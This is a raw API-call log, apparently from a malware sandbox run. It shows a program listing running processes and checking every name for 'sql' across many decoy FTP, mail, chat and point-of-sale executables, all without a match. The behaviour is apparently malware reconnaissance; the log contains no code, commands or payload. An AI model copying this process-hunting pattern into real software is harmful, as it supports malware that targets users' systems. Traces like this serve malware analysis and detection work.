	[0092.579] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tried.exe")) returned 1
	[0092.580] StrStrIW (lpFirst="tried.exe", lpSrch="sql") returned 0x0
	[0092.580] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark_activated.exe")) returned 1
	[0092.580] StrStrIW (lpFirst="lexmark_activated.exe", lpSrch="sql") returned 0x0
	[0092.580] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj-antenna.exe")) returned 1
	[0092.581] StrStrIW (lpFirst="cj-antenna.exe", lpSrch="sql") returned 0x0
	[0092.581] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="amateur-addition.exe")) returned 1
	[0092.581] StrStrIW (lpFirst="amateur-addition.exe", lpSrch="sql") returned 0x0
	[0092.581] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete.exe")) returned 1
	[0092.582] StrStrIW (lpFirst="delete.exe", lpSrch="sql") returned 0x0
	[0092.582] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gl-answered.exe")) returned 1
	[0092.582] StrStrIW (lpFirst="gl-answered.exe", lpSrch="sql") returned 0x0
	[0092.582] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0092.582] StrStrIW (lpFirst="dllhost.exe", lpSrch="sql") returned 0x0
	[0092.583] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consolidatedbruceleasing.exe")) returned 1
	[0092.583] StrStrIW (lpFirst="consolidatedbruceleasing.exe", lpSrch="sql") returned 0x0
	[0092.583] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearings.exe")) returned 1
	[0092.583] StrStrIW (lpFirst="hearings.exe", lpSrch="sql") returned 0x0
	[0092.583] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reprint.exe")) returned 1
	[0092.584] StrStrIW (lpFirst="reprint.exe", lpSrch="sql") returned 0x0
	[0092.584] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="insurance-angry-lip.exe")) returned 1
	[0092.584] StrStrIW (lpFirst="insurance-angry-lip.exe", lpSrch="sql") returned 0x0
	[0092.584] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="length.exe")) returned 1
	[0092.606] StrStrIW (lpFirst="length.exe", lpSrch="sql") returned 0x0
	[0092.606] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="luther.exe")) returned 1
	[0092.607] StrStrIW (lpFirst="luther.exe", lpSrch="sql") returned 0x0
	[0092.607] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="broke musical contract.exe")) returned 1
	[0092.607] StrStrIW (lpFirst="broke musical contract.exe", lpSrch="sql") returned 0x0
	[0092.607] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0092.608] StrStrIW (lpFirst="3dftp.exe", lpSrch="sql") returned 0x0
	[0092.608] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0092.608] StrStrIW (lpFirst="absolutetelnet.exe", lpSrch="sql") returned 0x0
	[0092.608] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0092.609] StrStrIW (lpFirst="alftp.exe", lpSrch="sql") returned 0x0
	[0092.609] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0092.610] StrStrIW (lpFirst="barca.exe", lpSrch="sql") returned 0x0
	[0092.610] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0092.611] StrStrIW (lpFirst="bitkinex.exe", lpSrch="sql") returned 0x0
	[0092.611] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0092.612] StrStrIW (lpFirst="coreftp.exe", lpSrch="sql") returned 0x0
	[0092.612] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0092.613] StrStrIW (lpFirst="far.exe", lpSrch="sql") returned 0x0
	[0092.613] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0092.614] StrStrIW (lpFirst="filezilla.exe", lpSrch="sql") returned 0x0
	[0092.614] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0092.614] StrStrIW (lpFirst="flashfxp.exe", lpSrch="sql") returned 0x0
	[0092.614] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0092.615] StrStrIW (lpFirst="fling.exe", lpSrch="sql") returned 0x0
	[0092.615] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0092.616] StrStrIW (lpFirst="foxmailincmail.exe", lpSrch="sql") returned 0x0
	[0092.616] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0092.617] StrStrIW (lpFirst="gmailnotifierpro.exe", lpSrch="sql") returned 0x0
	[0092.617] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0092.618] StrStrIW (lpFirst="icq.exe", lpSrch="sql") returned 0x0
	[0092.618] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0092.619] StrStrIW (lpFirst="leechftp.exe", lpSrch="sql") returned 0x0
	[0092.619] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0092.619] StrStrIW (lpFirst="ncftp.exe", lpSrch="sql") returned 0x0
	[0092.619] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0092.620] StrStrIW (lpFirst="notepad.exe", lpSrch="sql") returned 0x0
	[0092.620] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0092.621] StrStrIW (lpFirst="operamail.exe", lpSrch="sql") returned 0x0
	[0092.621] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0092.622] StrStrIW (lpFirst="outlook.exe", lpSrch="sql") returned 0x0
	[0092.622] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0092.623] StrStrIW (lpFirst="pidgin.exe", lpSrch="sql") returned 0x0
	[0092.623] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0092.623] StrStrIW (lpFirst="scriptftp.exe", lpSrch="sql") returned 0x0
	[0092.623] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0092.624] StrStrIW (lpFirst="skype.exe", lpSrch="sql") returned 0x0
	[0092.624] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0092.625] StrStrIW (lpFirst="smartftp.exe", lpSrch="sql") returned 0x0
	[0092.625] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0092.626] StrStrIW (lpFirst="thunderbird.exe", lpSrch="sql") returned 0x0
	[0092.626] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0092.626] StrStrIW (lpFirst="totalcmd.exe", lpSrch="sql") returned 0x0
	[0092.626] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0092.627] StrStrIW (lpFirst="trillian.exe", lpSrch="sql") returned 0x0
	[0092.627] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0092.628] StrStrIW (lpFirst="webdrive.exe", lpSrch="sql") returned 0x0
	[0092.628] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0092.629] StrStrIW (lpFirst="whatsapp.exe", lpSrch="sql") returned 0x0
	[0092.629] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0092.629] StrStrIW (lpFirst="winscp.exe", lpSrch="sql") returned 0x0
	[0092.629] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0092.630] StrStrIW (lpFirst="yahoomessenger.exe", lpSrch="sql") returned 0x0
	[0092.630] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0092.631] StrStrIW (lpFirst="active-charge.exe", lpSrch="sql") returned 0x0
	[0092.631] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0092.632] StrStrIW (lpFirst="accupos.exe", lpSrch="sql") returned 0x0
	[0092.632] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0092.633] StrStrIW (lpFirst="afr38.exe", lpSrch="sql") returned 0x0
	[0092.633] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0092.633] StrStrIW (lpFirst="aldelo.exe", lpSrch="sql") returned 0x0
	[0092.633] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0092.634] StrStrIW (lpFirst="ccv_server.exe", lpSrch="sql") returned 0x0
	[0092.634] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0092.635] StrStrIW (lpFirst="centralcreditcard.exe", lpSrch="sql") returned 0x0
	[0092.635] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0092.635] StrStrIW (lpFirst="creditservice.exe", lpSrch="sql") returned 0x0
	[0092.635] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0092.636] StrStrIW (lpFirst="edcsvr.exe", lpSrch="sql") returned 0x0
	[0092.636] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0092.637] StrStrIW (lpFirst="fpos.exe", lpSrch="sql") returned 0x0
	[0092.637] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0092.637] StrStrIW (lpFirst="isspos.exe", lpSrch="sql") returned 0x0
	[0092.637] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0092.638] StrStrIW (lpFirst="mxslipstream.exe", lpSrch="sql") returned 0x0
	[0092.638] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0092.639] StrStrIW (lpFirst="omnipos.exe", lpSrch="sql") returned 0x0
	[0092.639] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0092.639] StrStrIW (lpFirst="spcwin.exe", lpSrch="sql") returned 0x0
	[0092.639] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0092.640] StrStrIW (lpFirst="spgagentservice.exe", lpSrch="sql") returned 0x0
	[0092.640] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0092.640] StrStrIW (lpFirst="utg2.exe", lpSrch="sql") returned 0x0
	[0092.640] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="farms_ongoing.exe")) returned 1
	[0092.641] StrStrIW (lpFirst="farms_ongoing.exe", lpSrch="sql") returned 0x0
	[0092.641] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0092.642] StrStrIW (lpFirst="WmiPrvSE.exe", lpSrch="sql") returned 0x0
	[0092.642] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0092.642] StrStrIW (lpFirst="taskhostw.exe", lpSrch="sql") returned 0x0
	[0092.642] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0092.643] StrStrIW (lpFirst="UNPCampaignManager.exe", lpSrch="sql") returned 0x0
	[0092.643] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0092.643] StrStrIW (lpFirst="DeviceCensus.exe", lpSrch="sql") returned 0x0
	[0092.644] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0092.644] StrStrIW (lpFirst="AppHostRegistrationVerifier.exe", lpSrch="sql") returned 0x0
	[0092.644] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1198, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0092.645] StrStrIW (lpFirst="conhost.exe", lpSrch="sql") returned 0x0
